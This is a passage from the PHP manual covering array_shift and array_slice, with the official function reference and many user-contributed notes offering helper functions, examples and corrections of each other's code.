    $first =& array_shift_reference($input);
    $this->assertReference($foo, $first, '%s: The return value should reference the first array element');
  }

  function testFunctionReturnsNullIfEmptyArrayPassedAsInput()
  {
    $input = array();
    $first = array_shift_reference($input);
    $this->assertNull($first, '%s: Array has no first element so NULL should be returned');
  }

}

?>
sggoyal at gmail dot com 07-Sep-2008 10:08
// To Change order of Array by Saurabh Goyal
    function change_array_order($table,$order)
    {
       //init the new table
       $new_table = array();
       foreach($order as $colname)
       {
          $new_table[$colname] = $table[$colname];
       }
       return $new_table;
    }

if array value like:-
$row = array('usr_id'=>'23','usr_name'=>'Saurabh', 'usr_surname'=>'Goyal','usr_firstname'=>'Saurabh');

//you want change order & show only particular field
change_array_order($row,array('usr_name','usr_firstname',
                                            'usr_surname'));

Regard's

Saurabh Goyal
http://sggoyal.blogspot.com
nospam at dyce dot losethisbit dot com 02-Jul-2008 05:15
Just a useful version which returns a simple array with the first key and value. Porbably a better way of doing it, but it works for me ;-)

<?php

function array_kshift(&$arr)
{
  list($k) = array_keys($arr);
  $r  = array($k=>$arr[$k]);
  unset($arr[$k]);
  return $r;
}

// test it on a simple associative array
$arr = array('x'=>'ball','y'=>'hat','z'=>'apple');

print_r($arr);
print_r(array_kshift($arr));
print_r($arr);

?>

Output:

Array
(
    [x] => ball
    [y] => hat
    [z] => apple
)
Array
(
    [x] => ball
)
Array
(
    [y] => hat
    [z] => apple
)
Maikel 19-Feb-2008 09:43
In response to nando_f at nothingsimple dot com

The example is correct,  array_shift do an unset to first element  because the parameter is passed by reference
Ben 02-Oct-2007 09:17
baughmankr at appstate dot edu, I think this is more efficient.

<?php
function array_shorten($arr)
{
  list($k) = array_keys($arr);
  unset($arr[$k]);
  return $arr;
}
?>
baughmankr at appstate dot edu 18-Sep-2007 02:04
I needed to remove the first set of keys and values from an associative array.  Had to write this function:

function shortenArray($_arr)
{
    $i=1;
    $_shorter=array();
    foreach ($_arr as $k => $v)
    {
        if ($i != 1)
        {
            $_shorter[$k] = $v;
        }
        $i++;
    }
    return $_shorter;
}
dmhouse at gmail dot com 08-Aug-2007 01:54
If you want a version of array_shift() that works non-destructively (i.e., an easy function to grab the first element of the array without modifying the array), try reset().
Traps 09-Jul-2007 10:52
For those that may be trying to use array_shift() with an array containing references (e.g. working with linked node trees), beware that array_shift() may not work as you expect: it will return a *copy* of the first element of the array, and not the element itself, so your reference will be lost.

The solution is to reference the first element before removing it with array_shift():

<?php

// using only array_shift:
$a = 1;
$array = array(&$a);
$b =& array_shift($array);
$b = 2;
echo "a = $a, b = $b<br>"; // outputs a = 1, b = 2

// solution: referencing the first element first:
$a = 1;
$array = array(&$a);
$b =& $array[0];
array_shift($array);
$b = 2;
echo "a = $a, b = $b<br>"; // outputs a = 2, b = 2

?>
C_Prevost at myob 30-Apr-2007 04:52
no, it demonstrates quite well that it removes the first element in the original array, updating the keys, and that it also returns the original first element.
richard at happymango dot me dot uk 12-Apr-2007 06:09
If you want to loop through an array, removing its values one at a time using array_shift() but also want the key as well, try this.

<?php

while($key = key($array))
{
     $value = array_shift($array);
     //code goes here
}

?>

its like foreach but each time the value is removed from the array so it eventually ends up empty

<?php

//example below

$airports = array
(
    "LGW" => "London Gatwick",
    "LHR" => "London Heathrow",
    "STN" => "London Stanstead"
);

echo count($airports)." Airport in the array<br /><br />";

while($key = key($airports))
{
    $value = array_shift($airports);
    echo $key." is ".$value."<br />";
}

echo "<br />".count($airports)." Airport left in the array";

?>

Example Outputs:

3 Airport in the array

LGW is London Gatwick
LHR is London Heathrow
STN is London Stanstead

0 Airport left in the array
François 27-Oct-2006 08:35
Note that array_shift() can be rather time consuming. Whenever possible, you should consider using array_slice() instead.
Consider the following code :

$monthlyHits = 0;
reset ($hitsArray);
foreach($hitsArray as $visitTime ) {
if ($visitTime < $monthStart ) {
array_shift($hitsArray);
$monthlyHits++;
}
}

This could be replaced by :
$monthlyHits = 0;
reset ($hitsArray);
foreach($hitsArray as $visitTime ) {
if ($visitTime < $monthStart ) {
$monthlyHits++;
}
}
$monthlyHits = array_slice($hitsArray,$monthlyHits);

Here is a benchmark I did on a 10 000 rows array :
First method, 9000 mili-seconds.
Second method, 4 mili-seconds
alreece45 at yahoo dot com 09-Aug-2006 08:13
I haven't really read into it, but if you're complaining about a change in PHP 5.0.5 that made it so you couldn't do:

<?php

$val = array_shift(preg_split());

?>

or

<?php

$val = array_shit(function_that_returns_array);

?>

Then you're not using this function correctly. This function's argument is supposed to be a pointer to a variable. It then modifies that variable and returns a value. When you specify a function, php CAN NOT modify the return value of that function. It should be common sense but apparently its not.

Also, on a efficiency note, you might want to consider using another function such as reset or perhaps making your own function such as below:

<?php

function first_element($array) {

return reset($array);

}

?>

Unless of course for some reason you need to save the microseconds this takes.

}
bmr at ediweb dot org 31-May-2006 07:27
If the array has non-numerical keys, array_shift extracts the first element, whichever is the key, and recompute the numerical keys, if there are any. Ie :

$array = array("c" => "ccc", 0 => "aaa", "d" => "ddd", 5 => "bbb");
$first = array_shift($array);
echo '$first = ' . $first . ', $array = ' . var_export($array, true);

will display :

$first = ccc, $array = array ( 0 => 'aaa', 'd' => 'ddd', 1 => 'bbb', )

It means that array_shift works with associative arrays too, and leaves the keys unchanged if they are non-numerical.
19-Sep-2005 07:57
<?php

//----------------------------------------------------------
// The combination of array_shift/array_unshift
// greatly simplified a function I created for
// generating relative paths. Before I found them
// the algorithm was really squirrely, with multiple
// if tests, length calculations, nested loops, etc.
// Great functions.
//----------------------------------------------------------

function create_relative_path($inSourcePath, $inRefPath)
{
    // break strings at slashes
    $s_parts            = explode('/', $inSourcePath);
    $r_parts            = explode('/', $inRefPath);

    // delete items up to the first non-equal part
    while ($s_parts[0] === $r_parts[0])
    {
        array_shift($s_parts);
        array_shift($r_parts);
    }

    // add wild card to r_parts for each remaining
    // item of s_parts
    while ($s_parts[0])
    {
        array_unshift($r_parts, '..');
        array_shift($s_parts);
    }

    return implode('/', $r_parts);
}

//----------------------------------------------------------
// Example:
//     Given a source path $sp generates the relative
//     location of $rp. $sp could be assigned using
//     $_SERVER['PHP_SELF'] but it's hardcoded for
//     the example.
//----------------------------------------------------------
$sp = '/WebServer/Documents/MyBigProject/php/project_script.php';
$rp = '/WebServer/Documents/MyLibraries/lib_script.php';

// plugging them into the function
$rel_path = create_relative_path($sp, $rp);

// yeilds
'../../../MyLibraries/lib_script.php'

// and it could be used like
include_once(create_relative_path($_SERVER['PHP_SELF'], $rp));
lukasz dot dywicki DEL at gmail dot com 27-Jul-2005 05:48
Im using this function to browse arrays from database. For example data:
<?php
$data = array(
      array('row 1-cell 1','row 1-cell 2'),
      array('row 2-cell 1','row 2-cell 2'),
      array('row 3-cell 1','row 3-cell 2'),
);

while($row=array_shift($data)) {
      echo $row[0];
}
?>
Output:
row 1-cell 1
row 2-cell 1
row 3-cell 1
arturo {dot} ronchi {at} gmail {dot} com 20-Apr-2005 06:24
Here is a little function if you would like to get the top element and rotate the array afterwards.

function array_rotate(&$arr)
{
  $elm = array_shift($arr);
  array_push($arr, $elm);
  return $elm;
}
09-Feb-2005 04:27
This function will save the key values of an array, and it will work in lower versions of PHP:

<?php

function array_shift2(&$array){
    reset($array);
    $key = key($array);
    $removed = $array[$key];
    unset($array[$key]);
    return $removed;
}

?>
James McGuigan 14-Dec-2004 11:26
while(array_shift()) can be used to process multiple arrays and/or database results in a single loop. The || short circuts and only evaluates the first statement until it runs out of data.

It can help to reduce duplicated code (the rule is code once and once only).

Note that each ($row = ) statement much be encased in ()'s otherwise you will get funny results. If you use two array_shift($array) statements and forget the ()'s, you will repeatedly get the first element of the first array for the for the count of the $array.

<?php

require_once('class.db.php');

$sql = "SELECT title FROM links";
$result = mysql_query($sql, $db->connection);

$defaults = array(
     array('title' => 'None'),
     array('title' => 'Unknown')
);

while ( ($row = mysql_fetch_assoc($result))
     || ($row = array_shift($defaults)))
{
  echo $row['title'] . "<br>";
}

?>

This will print out (depending on database contents):
Title1
Title2
Title3
...
None
Unknown
alex at netflex dot nl 13-Mar-2003 10:55
Hi,

if you want to shift the first element of a large array (more than 10.000?) and it must realy fast then you can use this better:

<?php
reset($array);
list($oldKey, $oldElement) = each($array);
unset($array[$oldKey]);
?>

note: the index wil not be changed (not reindexed)
array_search
array_slice
Array Functions


Extract a slice of the array

array_shift
array_splice
Array Functions
PHP Manual

array_slice

(PHP 4, PHP 5)

array_slice — Extract a slice of the array

Description

array array_slice ( array $array , int $offset [, int $length [, bool $preserve_keys = false ]] )

array_slice() returns the sequence of elements from the array array as specified by the offset and length parameters.

Note: This function will reset() the array pointer of the input array after use.

Parameters

array

The input array.

offset

If offset is non-negative, the sequence will start at that offset in the array. If offset is negative, the sequence will start that far from the end of the array.

length

If length is given and is positive, then the sequence will have up to that many elements in it. If the array is shorter than the length, then only the available array elements will be present. If length is given and is negative then the sequence will stop that many elements from the end of the array. If it is omitted, then the sequence will have everything from offset up until the end of the array.

preserve_keys

Note that array_slice() will reorder and reset the array indices by default. You can change this behaviour by setting preserve_keys to TRUE.

Return Values

Returns the slice.

Changelog

Version | Description
5.0.2 | The optional preserve_keys parameter was added.

Examples

Example #1 array_slice() examples

<?php
$input = array("a", "b", "c", "d", "e");

$output = array_slice($input, 2);      // returns "c", "d", and "e"
$output = array_slice($input, -2, 1);  // returns "d"
$output = array_slice($input, 0, 3);   // returns "a", "b", and "c"

// note the differences in the array keys
print_r(array_slice($input, 2, -1));
print_r(array_slice($input, 2, -1, true));
?>

The above example will output:

Array
(
    [0] => c
    [1] => d
)
Array
(
    [2] => c
    [3] => d
)

See Also

  • array_splice() - Remove a portion of the array and replace it with something else
  • unset() - Unset a given variable
  • array_chunk() - Split an array into chunks

User Contributed Notes

gary at wits dot sg 10-Jun-2011 11:44
I've found this useful.
The following is a function used to shuffle a very specific part of the array, by providing start and end index.

<?php
function array_shuffle_section(&$a, $s, $e) {
    $head = array_slice($a, 0, $s);
    $body = array_slice($a, $s, $e-$s+1);
    $tail = array_slice($a, $e+1);

    shuffle($body);
    $a = array_merge($head,$body,$tail);
}
?>
Nathan - thefiscster510 at gmail dot com 29-Mar-2011 10:38
If you want to remove a specified entry from an array i made this mwethod...

<?php
$array = array("Entry1","entry2","entry3");

$int = 3; //Number of entries in the array
$int2 = 0; //Starter array spot... it will begine its search at 0.
$del_num = 1; //Represents the second entry in the array... which is the one we will happen to remove this time... i.e. 0 = first entry, 1 = second entry, 2 = third...........

$newarray = array(); //Empty array that will be the new array minus the specified entry...
print_r($array) . "<br>";    //print original array contents
print_r($newarray). "<br>"; //print the new empty array

do
{
$user = $array[$int2];
$key = array_search($user, $array);
if ($key == $del_num)
{

}
else
{
$newarray[] = $array[$int2];
}

$int2 = $int2 + 1;
} while ($int2 < $int);

print_r($newarray). "<br>"; //print the new array

?>
delew 11-Feb-2011 01:17
just a little tip.
to preserve keys without providing length: use NULL

array_slice($array, $my_offset, NULL, true);
xananax at yelostudio dot com 02-Feb-2011 07:23
<?php
/**
 * Reorders an array by keys according to a list of values.
 * @param array $array the array to reorder. Passed by reference
 * @param array $list the list to reorder by
 * @param boolean $keepRest if set to FALSE, anything not in the $list array will be removed.
 * @param boolean $prepend if set to TRUE, will prepend the remaining values instead of appending them
 * @author xananax AT yelostudio DOT com
 */
function array_reorder(array &$array,array $list,$keepRest=TRUE,$prepend=FALSE,$preserveKeys=TRUE){
    $temp = array();
    foreach($list as $i){
        if(isset($array[$i])){
            $tempValue = array_slice(
                $array,
                array_search($i,array_keys($array)),
                1,
                $preserveKeys
            );
            $temp[$i] = array_shift($tempValue);
            unset($array[$i]);
        }
    }
    $array = $keepRest ?
        ($prepend?
            $array+$temp
            :$temp+$array
        )
        : $temp;
}

/** exemple ** /
$a = array(
    'a'    =>    'a',
    'b'    =>    'b',
    'c'    =>    'c',
    'd'    =>    'd',
    'e'    =>    'e'
);
$order = array('c','b','a');

array_reorder($a,$order,TRUE);
echo '<pre>';
print_r($a);
echo '</pre>';
/** exemple end **/
?>
ch1902uk 20-Jan-2011 05:22
Here's an array_slice function for associative arrays. It slices by array key from and including that key. If the $length is a string it is assumed to be another array key and the array is sliced up to but not including the end key otherwise it slices that length.

<?php

function array_slice_assoc ($array, $key, $length, $preserve_keys = true)
{
   $offset = array_search($key, array_keys($array));

   if (is_string($length))
      $length = array_search($length, array_keys($array)) - $offset;

   return array_slice($array, $offset, $length, $preserve_keys);
}

?>

Example usage:

<?php
$arr = array('a' => 'a', 'b' => 'b', 'c' => 'c', 'd' => 'd', 'e' => 'e', 'f' => 'f');

print_r(array_slice_assoc($arr, 'b', 2, true));
/*
Array
(
    [b] => b
    [c] => c
)
*/

print_r(array_slice_assoc($arr, 'b', 'e', true));
/*
Array
(
    [b] => b
    [c] => c
    [d] => d
)
*/

print_r(array_slice_assoc($arr, 'b', -1, true));
/*
Array
(
    [b] => b
    [c] => c
    [d] => d
    [e] => e
)
*/
?>
joel dot a dot villarreal at gmail dot com 19-Oct-2010 03:41
An implementation of array_slice that do not resets the cursor.

<?php
function get_from_array($arr, $start, $length)
{
    $sliced = array();
    foreach ($arr as $k => $v)
    {
        if ($start <= $k && $k <= $start + $length - 1)
        {
            $sliced[] = $v;
            if (count($sliced) == $length) break;
        }
    }
    return $sliced;
}
?>

Cheers,
Joel A. Villarreal Bertoldi
yuwas at ht dot cx 04-Apr-2010 06:54
By combining this with str_split() and implode(),slices can also be excerpted from strings with the following simple function:
<?php
function str_slice($string,$offset,$length=999,$preserve_keys=False){
  if( $length == 999 ){ $length = strlen($string)-$offset };
  $slice_arr = array_slice(str_split($string),$offset,$length,$preserve_keys);
  return implode($slice_arr);
};
?>

Perhaps there's a better way to preset $length.
jamie at jamiechong dot ca 18-Oct-2009 04:04
A flexible array_split function:

<?php
// split the given array into n number of pieces
function array_split($array, $pieces=2)
{
    if ($pieces < 2)
        return array($array);
    $newCount = ceil(count($array)/$pieces);
    $a = array_slice($array, 0, $newCount);
    $b = array_split(array_slice($array, $newCount), $pieces-1);
    return array_merge(array($a),$b);
}

// Examples:
$a = array(1,2,3,4,5,6,7,8,9,10);
array_split($a, 2);    // array(array(1,2,3,4,5), array(6,7,8,9,10))
array_split($a, 3);    // array(array(1,2,3,4), array(5,6,7), array(8,9,10))
array_split($a, 4);    // array(array(1,2,3), array(4,5,6), array(7,8), array(9,10))

?>
jamon at clearsightdesign dot com 10-Apr-2009 05:46
I was trying to find a good way to find the previous several and next several results from an array created in a MySQL query. I found that most MySQL solutions to this problem were complex. Here is a simple function that returns the previous and next rows from the array.

<?php

/*
** function array_surround by Jamon Holmgren of ClearSight Design
** Version 1.0 - 4/10/2009
** Please direct comments and questions to my first name at symbol clearsightdesign.com
**
** Returns an array with only the $before and $after number of results
** This is set to work best with MySQL data results
** Use this to find the rows immediately before and after a particular row, as many as you want
**
** Example usage:
**   $mysql_ar is an array of results from a MySQL query and the current id is $cur_id
**   We want to get the row before this one and five rows afterward
**
** $near_rows = array_surround($mysql_ar, "id", $cur_id, 1, 5)
**
**   Previous row is now $near_rows[-1]
**   Current row is now $near_rows[0]
**   Next row is $near_rows[1] ... etc
**   If there is no previous row, $near_rows[-1] will not be set...test for it with is_array($near_rows[-1])
**
*/
function array_surround($src_array, $field, $value, $before = 1, $after = 1) {
    if(is_array($src_array)) {
        // reset all the keys to 0 through whatever in case they aren't sequential
        $new_array = array_values($src_array);
        // now loop through and find the key in array that matches the criteria in $field and $value
        foreach($new_array as $k => $s) {
            if($s[$field] == $value) {
                // Found the one we wanted
                $ck = $k; // put the key in the $ck (current key)
                break;
            }
        }
        if(isset($ck)) { // Found it!
            $result_start = $ck - $before; // Set the start key
            $result_length = $before + 1 + $after; // Set the number of keys to return
            if($result_start < 0) { // Oops, start key is before first result
                $result_length = $result_length + $result_start; // Reduce the number of keys to return
                $result_start = 0; // Set the start key to the first result
            }
            $result_temp = array_slice($new_array, $result_start, $result_length); // Slice out the results we want
            // Now we have an array, but we want array[-$before] to array[$after] not 0 to whatever.
            foreach($result_temp as $rk => $rt) { // set all the keys to -$before to +$after
                $result[$result_start - $ck + $rk] = $rt;
            }
            return $result;
        } else { // didn't find it!
            return false;
        }
    } else { // They didn't send an array
        return false;
    }
}

?>

I hope you find this useful! I welcome constructive criticism or comments or of course praise ;) -- just e-mail me.

- Jamon Holmgren
Mr. P 14-Nov-2008 02:11
Note that offset is not the same thing as key. Offset always starts at 0, while keys might be any number.

So this:

<?php print_r(array_slice(array(0 => 0, 5 => 5, 13 => 13),1)); ?>

will result in this:
Array
(
    [0] => 5
    [1] => 13
)
s0i0m at dreamevilconcepts dot com 12-Sep-2008 07:53
Using the varname function referenced from the array_search page, submitted by dcez at land dot ru. I created a multi-dimensional array splice function. It's usage is like so:

$array['admin'] = array('blah1', 'blah2');
$array['voice'] = array('blah3', 'blah4');
array_cut('blah4', $array);

...Would strip blah4 from the array, no matter where the position of it was in the array ^^ Returning this...

Array ( [admin] => Array ( [0] => blah1 [1] => blah2 ) [voice] => Array ( [0] => blah3 ) )

Here is the code...

<?php

  function varname ($var)
  {
    // varname function by dcez at land dot ru
    return (isset($var)) ? array_search($var, $GLOBALS) : false;
  }

  function array_cut($needle, $haystack)
  {
    foreach ($haystack as $k => $v)
    {
      for ($i=0; $i<count($v); $i++)
        if ($v[$i] === $needle)
        {
          return array_splice($GLOBALS[varname($haystack)][$k], $i, 1);
          break; break;
        }
    }

?>

Check out dreamevilconcept's forum for more innovative creations!
disnider at gmail dot com 25-Jun-2008 12:02
it will split array into  2 halfs :
<?

function array_split($array)
    {
        $end=count($array);

        $half = ($end % 2 )?  ceil($end/2): $end/2;

        return array(array_slice($array,0,$half),array_slice($array,$half));
    }

//testing with odd count

$array=array('a','b','c','d');

echo "Odd: <br>";
var_dump(array_split($array));

//testing with even count

$array=array('a','b','c','d','f');

echo "Even: <br>";
var_dump(array_split($array));
?>

Output:
===========

Odd:
array(2) {
  [0]=>
  array(2) {
    [0]=>
    string(1) "a"
    [1]=>
    string(1) "b"
  }
  [1]=>
  array(2) {
    [0]=>
    string(1) "c"
    [1]=>
    string(1) "d"
  }
}

Even:
array(2) {
  [0]=>
  array(3) {
    [0]=>
    string(1) "a"
    [1]=>
    string(1) "b"
    [2]=>
    string(1) "c"
  }
  [1]=>
  array(2) {
    [0]=>
    string(1) "d"
    [1]=>
    string(1) "f"
  }
}
ted.devito at 9gmail9 dot 99com 02-May-2008 09:21
based on worldclimb's arem(), here is a recursive array value removal tool that can work with multidimensional arrays.

function remove_from_array($array,$value){
    $clear = true;
    $holding=array();

    foreach($array as $k => $v){
        if (is_array($v)) {
            $holding [$k] = remove_from_array ($v, $value);
            }
        elseif ($value == $v) {
            $clear = false;
            }
        elseif($value != $v){
            $holding[$k]=$v; // removes an item by combing through the array in order and saving the good stuff
        }
    }
    if ($clear) return $holding; // only pass back the holding array if we didn't find the value
}
worldclimb at 99gmail99 dot com 21-Mar-2008 12:51
array_slice can be used to remove elements from an array but it's pretty simple to use a custom function.

One day array_remove() might become part of PHP and will likely be a reserved function name, hence the unobvious choice for this function's names.

<?
function arem($array,$value){
    $holding=array();
    foreach($array as $k => $v){
        if($value!=$v){
            $holding[$k]=$v;
        }
    }
    return $holding;
}

function akrem($array,$key){
    $holding=array();
    foreach($array as $k => $v){
        if($key!=$k){
            $holding[$k]=$v;
        }
    }
    return $holding;
}

$lunch = array('sandwich' => 'cheese', 'cookie'=>'oatmeal','drink' => 'tea','fruit' => 'apple');
echo '<pre>';
print_r($lunch);
$lunch=arem($lunch,'apple');
print_r($lunch);
$lunch=akrem($lunch,'sandwich');
print_r($lunch);
echo '</pre>';
?>

(remove 9's in email)
slimjackson at gmail dot com 29-Oct-2007 10:06
Re: 'cpa at NOSPAM dot conceptivator dot com' and 'gportlock at gembiz dot co dot uk'

limitText can be further simplified by adding a limit parameter to the explode function - eliminating the need for the use of array_slice entirely. Note that this only works for extracting the first n words of the string, and not the last.

Also, you've mistakenly used array_splice instead of array_slice in your functions.

<?php
function limitText( $text, $wordCount )
{
    $wordArray = explode(" ", $text, $wordCount);
    return implode( " ", $wordArray );
}
?>
aexchecker at yahoo dot com 04-Oct-2007 08:39
<?php
/**
 * @desc
 * Combines two arrays by inserting one into the other at a given position then
 * returns the result.
 *
 * @since   2007/10/04
 * @version v0.7 2007/10/04 18:47:52
 * @author  AexChecker <AexChecker@yahoo.com>
 * @param   array $source
 * @param   array $destination
 * @param   int [optional] $offset
 * @param   int [optional] $length
 * @return  array
 */
function array_insert($source, $destination, $offset = NULL, $length = NULL) {
    if (!is_array($source) || empty($source)) {
        if (is_array($destination) && !empty($destination)) {
            return $destination;
        }
        return array();
    }
    if (is_null($offset)) {
        return array_merge($destination, $source);
    }
    $offset = var2int($offset);
    if (is_null($length)) {
        if ($offset === 0) {
            return array_merge($source, array_slice($destination, 1));
        }
        if ($offset === -1) {
            return array_merge(array_slice($destination, 0, -1), $source);
        }
        return array_merge(
            array_slice($destination, 0, $offset),
            $source,
            array_slice($destination, ++$offset)
        );
    }
    if ($offset === 0) {
        return array_merge($source, array_slice($destination, $length));
    }
    $destination_count = count($destination);
    $length = var2int($length);
    if ($offset > 0) {
        if ($destination_count - $offset < 1) {
            return array_merge($destination, $source);
        }
    } else{
        if (($t = $destination_count + $offset) < 1) {
            return array_merge($source, $destination);
        }
        $offset = $t;
    }
    if ($length > 0) {
        $length+= $offset;
    } elseif ($length < 0 && !($length * -1 < $destination_count)) {
        return $source;
    } else {
        $length = $offset;
    }
    return array_merge(
        array_slice($destination, 0, $offset),
        $source,
        array_slice($destination, $length)
    );
}
?>
phpnotasp at gmail dot com 16-Jul-2007 02:42
It should be noted that this function does NOT modify the original array. So if you need to array_pop() or array_shift() without modifying the original array, you can use array_slice().

<?php

$input = array('a', 'b', 'c');
$output = array_slice($input, 1);

print_r($output);
print_r($input);

/*
Array
(
    [0] => b
    [1] => c
)
Array
(
    [0] => a
    [1] => b
    [2] => c
)
*/
?>
sean at getclicky dot com 19-Jun-2007 12:54
People... let's keep things simple here. :) Some of the functions to mimic >5.0.2 behavior (preserving keys) are ridiculously complicated. Look how simple it can be:

<?php
function atrim( $a, $num ) {
  while( sizeof( $a ) > $num ) array_pop( $a );
  return $a;
}
?>
cpa at NOSPAM dot conceptivator dot com 07-Jun-2007 05:15
'gportlock at gembiz dot co dot uk' has an error in his limitText function. It simply takes a text string, then cuts off the first X words and returns the rest of the string. I believe the intended use is to return only the first X words and cut off the rest.

The correct version should be (notice the inserted 0 offset):
<?php
function limitText( $text, $wordCount )
{
    $wordArray = explode(" ", $text);
    array_splice($wordArray, 0, $wordCount);
    return implode( " ", $wordArray );
}
?>
gportlock at gembiz dot co dot uk 24-May-2007 07:29
This function returns a text string that is limited by the word count. This funtion is particularly useful for paid advertising where you pay by the word.

function limitText( $text, $wordCount ){

        $wordArray = explode(" ", $text);
        array_splice($wordArray, $wordCount);
        return implode( " ", $wordArray );
}
bc at bnc-automatisering dot nl 15-Mar-2007 03:41
first at all, ur php version check does not work correctly.
version 4.3.10 (4310 > 520)

Second, $a is not initialized.
Third, to let the function work the same as slice (offset) it should be:

function narray_slice($array, $offset, $length){
    $a = 0;
    foreach ($array as $key => $value) {
        if (($a >= $offset) && ($a - $offset < $length))
            $output_array[$key] = $value;
        $a++;
    }
    return $output_array;
}
14-Mar-2007 08:09
I noticed that some other people made supportive functions for maintaining numeric keys for PHP versions less than 5.0.2. So here is my version of it.

<?php

//Slice an array but keep numeric keys
function narray_slice($array, $offset, $length) {

    //Check if this version already supports it
    if (str_replace('.', '', PHP_VERSION) >= 502)
       return array_slice($array, $offset, $length, true);

    foreach ($array as $key => $value) {

        if ($a >= $offset && $a - $offset <= $length)
            $output_array[$key] = $value;
        $a++;

    }

    return $output_array;

}

?>
aflavio at gmail dot com 01-Mar-2007 01:43
/**
    * Remove a value from a array
    * @param string $val
    * @param array $arr
    * @return array $array_remval
    */
    function array_remval($val, &$arr)
    {
          $array_remval = $arr;
          for($x=0;$x<count($array_remval);$x++)
          {
              $i=array_search($val,$array_remval);
              if (is_numeric($i)) {
                  $array_temp  = array_slice($array_remval, 0, $i );
                $array_temp2 = array_slice($array_remval, $i+1, count($array_remval)-1 );
                $array_remval = array_merge($array_temp, $array_temp2);
              }
          }
          return $array_remval;
    }

$stack=Array('apple','banana','pear','apple', 'cherry', 'apple');
array_remval("apple", $stack);

//output: Array('banana','pear', 'cherry')
Apware 15-Feb-2007 04:34
A simple test of this function:

<?php

print_r(array_slice(array('a','b','c','d'), 0, 3));        // normal behaviour

print_r(array_slice(array('a','b','c','d'), 0, 10));    // result: no error, returns as many as possible

print_r(array_slice(array(), 0, 10));                    // result: no error, returns empty array

?>
19-Dec-2006 09:10
The version check on "ps at b1g dot de" function fails on my copy of PHP.  My Version of PHP is "4.3.10-18", and it ends up checking 4310 <=> 502.
Since we are looking for a version over 4.1.0, we cas use version_compare.

<?php
    // PHP >= 5.0.2 is able to do this itself
    if(function_exists('version_compare') and version_compare(PHP_VERSION, '5.0.2') >= 0) {
      return array_slice($array, $offset, $length, true);
    }
?>
ludvig ericson at http://toxik.a12.se/ 05-Nov-2006 03:49
This function can also be used for pure laziness,
<?php
$myVar = end(array_slice(anotherFunction(), 0, 1));
?>
Imagine that anotherFunction() returns, say, three indexes, and you are sure you only want the Nth index, you could use this as a poor man's way of getting by the fact that PHP can't do this:
<?php
$myVar = (anotherFunction())[1];
?>
Which is sad.
ps at b1g dot de 03-Nov-2006 02:44
The following function is the same as array_slice with preserve_keys=true, but it works with PHP versions < 5.0.2.
When PHP >= 5.0.2 is available, the function uses the faster PHP-own array_slice-function with preserve_keys=true, otherwise it uses its own  implementation.

<?php
/**
 * array_slice with preserve_keys for every php version
 *
 * @param array $array Input array
 * @param int $offset Start offset
 * @param int $length Length
 * @return array
 */
function array_slice_preserve_keys($array, $offset, $length = null)
{
    // PHP >= 5.0.2 is able to do this itself
    if((int)str_replace('.', '', phpversion()) >= 502)
        return(array_slice($array, $offset, $length, true));

    // prepare input variables
    $result = array();
    $i = 0;
    if($offset < 0)
        $offset = count($array) + $offset;
    if($length > 0)
        $endOffset = $offset + $length;
    else if($length < 0)
        $endOffset = count($array) + $length;
    else
        $endOffset = count($array);

    // collect elements
    foreach($array as $key=>$value)
    {
        if($i >= $offset && $i < $endOffset)
            $result[$key] = $value;
        $i++;
    }

    // return
    return($result);
}
?>

Good for backwards compatibility I hope somebody might find this useful.
david at bagnara dot org 18-Oct-2006 08:42
I was trying to pass an argument list through the constructors. I tried various things such as func_get_args(). My conclusion is to pass the args to the constructor as an array. Each constructor can remove the fields it wants and pass the array on.

Using the following prototype, each child class can have any number of parameters added to the beginning of the class constructor and the rest passed onto the parent.

If the default value is desired for an argument, just pass NULL.

This could possibly be better done with array_shift or the like.

<?php

class aChild extends aParent
{
    // TODO customise this list for this class
    public
        $a, $b, $c;

    function __construct( $args = array() )
    {
        //set up default values for this class
        // TODO customise this list for this class
        $default = array( "a-def", "b-def", "c-def" ) ;
        // now overwrite the default with non NULL args
        foreach( $args as $key=>$val )
        {
            // more args than needed?
            if( !isset( $default[$key] ) )
            {
                break;
            }
            // this arg not null
            if( isset( $val ) )
            {
                $default[$key] = $val ;
            }
        }
        // set this to the new values
        // TODO customise this list for this class
        list( $this->a, $this->b, $this->c ) = $default ;
        // take off the ones we used
        $args = array_slice( $args, count( $default ) ) ;
        parent::__construct( $args ) ;
    }
}

$x = new aChild( array( "aChild a", NULL, "aChild c", NULL, "aParent second", "aParent third" ) ) ;
?>
DRB 24-Aug-2006 01:08
In response to the problem mentioned in the previous post (no name 06-May-2006 12:21) the following is a working solution:

$myarray = array_slice($myarray, 1, count($myarray), true);

It is too bad that the "preserve_keys" option is not available for the array_shift and array_pop functions as this would be somewhat simpler.
06-May-2006 12:21
If you specify the fourth argument (to not reassign the keys), then there appears to be no way to get the function to return all values to the end of the array. Assigning -0 or NULL or just putting two commas in a row won't return any results.
taylorbarstow at the google mail service 07-Apr-2006 02:01
Array slice function that works with associative arrays (keys):

function array_slice_assoc($array,$keys) {
    return array_intersect_key($array,array_flip($keys));
}
andreasblixt (at) msn (dot) com 06-Sep-2005 09:53
<?php
    // Combines two arrays by inserting one into the other at a given position then returns the result
    function array_insert($src, $dest, $pos) {
        if (!is_array($src) || !is_array($dest) || $pos <= 0) return FALSE;
        return array_merge(array_slice($dest, 0, $pos), $src, array_slice($dest, $pos));
    }
?>
ssb45 at cornell dot edu 28-Jul-2005 07:20
In reply to jenny at jennys dot info:

Here is a much easier way to find the $offset of a $key in an $array:

$offset = array_search($key, array_keys($array));
fanfatal at fanfatal dot pl 08-Jul-2005 03:09
Hmm ... i wrote an usefull function whitch is such like strpos but it works on arrays ;]

<?php
/*
 *    Find position of first occurrence of a array
 *
 *    @param array $haystack
 *    @param array $needle
 *    @return int
 *    @author FanFataL
 */
function array_pos($haystack, $needle) {
    $size = count($needle);
    $sizeh = count($haystack);
    if($size > $sizeh) return false;

    $scale = $sizeh - $size + 1;

    for($i = 0; $i < $scale; $i++)
        if($needle === array_slice($haystack, $i, $size))
            return $i;

    return false;
}

// Sample:
$a = array('aa','bb','cc','dd','ee');
$b = array('cc','dd');
$pos = array_pos($a, $b);
?>

Greatings ;-)
...
david dot tulloh at infaze dot com dot au 23-Jun-2005 06:26
Nice one liner to extract a column from a 2D array.
It works by using array_slice on every row, through array_map.

<?php
// set up a small test environment
$test_subject[] = array("a", "b", "c");
$test_subject[] = array("d", "e", "f");

$column=1;

// do the actual work
$result = array_map('array_slice', $test_subject,
    array_fill(0, count($test_subject), $column),
    array_fill(0, count($test_subject), 1)
);

// and the end result
result == array ( array("b"), array("e") );
?>
liz at matrixmailing dot com 06-Jun-2005 02:16
